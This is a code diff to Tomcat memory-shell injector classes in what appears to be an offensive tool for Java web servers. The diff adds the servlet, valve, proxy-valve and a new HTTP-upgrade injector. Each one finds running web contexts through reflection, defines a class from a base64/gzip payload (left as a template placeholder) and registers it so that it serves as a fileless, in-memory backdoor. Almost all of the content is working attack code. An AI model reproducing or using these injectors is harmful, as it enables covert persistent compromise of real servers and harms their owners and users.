Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
|
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
|
||||||
setFieldValue(pipeline, fieldName, proxyValve);
|
setFieldValue(pipeline, fieldName, proxyValve);
|
||||||
System.out.println("proxyValve inject successful");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -168,7 +215,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -208,4 +255,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+85
-35
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -16,17 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatServletInjector {
|
public class TomcatServletInjector {
|
||||||
|
|
||||||
public TomcatServletInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object servlet = getShell(context);
|
|
||||||
inject(context, servlet);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -40,8 +32,53 @@ public class TomcatServletInjector {
|
|||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public TomcatServletInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -50,10 +87,16 @@ public class TomcatServletInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -68,24 +111,24 @@ public class TomcatServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object servlet) throws Exception {
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
if (isInjected(context)) {
|
if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||||
System.out.println("servlet already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
@@ -104,19 +147,11 @@ public class TomcatServletInjector {
|
|||||||
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
|
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
|
||||||
}
|
}
|
||||||
support56Inject(context, wrapper);
|
support56Inject(context, wrapper);
|
||||||
System.out.println("servlet inject success");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object context) throws Exception {
|
public String toString() {
|
||||||
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
|
return msg;
|
||||||
Collection<String> values = servletMappings.values();
|
|
||||||
for (String name : values) {
|
|
||||||
if (name.equals(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void support56Inject(Object context, Object wrapper) throws Exception {
|
private void support56Inject(Object context, Object wrapper) throws Exception {
|
||||||
@@ -249,4 +284,19 @@ public class TomcatServletInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+222
@@ -0,0 +1,222 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatUpgradeInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatUpgradeInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void inject(Object context, Object shell) throws Exception {
|
||||||
|
Object engine = getFieldValue(getFieldValue(context, "parent"), "parent");
|
||||||
|
Object service = getFieldValue(engine, "service");
|
||||||
|
Object connector = ((Object[]) getFieldValue(service, "connectors"))[0];
|
||||||
|
Object protocolHandler = getFieldValue(connector, "protocolHandler");
|
||||||
|
Map<String, Object> httpUpgradeProtocols = ((Map<String, Object>) getFieldValue(protocolHandler, "httpUpgradeProtocols"));
|
||||||
|
if (httpUpgradeProtocols.containsKey(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
httpUpgradeProtocols.put(getClassName(), shell);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+91
-44
@@ -3,34 +3,19 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Date: 2022/11/01
|
* @author pen4uin, ReaJason
|
||||||
* Author: pen4uin
|
|
||||||
* Description: Tomcat Valve 注入器
|
|
||||||
* Tested version:
|
|
||||||
* jdk v1.8.0_275
|
|
||||||
* tomcat v8.5.83, v9.0.67
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
*/
|
||||||
public class TomcatValveInjector {
|
public class TomcatValveInjector {
|
||||||
|
|
||||||
public TomcatValveInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -40,8 +25,53 @@ public class TomcatValveInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public TomcatValveInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -50,10 +80,16 @@ public class TomcatValveInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -62,42 +98,38 @@ public class TomcatValveInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
public void inject(Object context, Object valve) throws Exception {
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
if (isInjected(pipeline)) {
|
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||||
System.out.println("valve already injected");
|
List<Object> valvesList = Arrays.asList(valves);
|
||||||
return;
|
for (Object v : valvesList) {
|
||||||
|
if (v.getClass().getName().contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
System.out.println("valve injected successfully");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object pipeline) throws Exception {
|
public String toString() {
|
||||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
return msg;
|
||||||
List<Object> valvesList = Arrays.asList(valves);
|
|
||||||
for (Object valve : valvesList) {
|
|
||||||
if (valve.getClass().getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -144,7 +176,7 @@ public class TomcatValveInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -172,4 +204,19 @@ public class TomcatValveInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+89
-30
@@ -3,13 +3,11 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
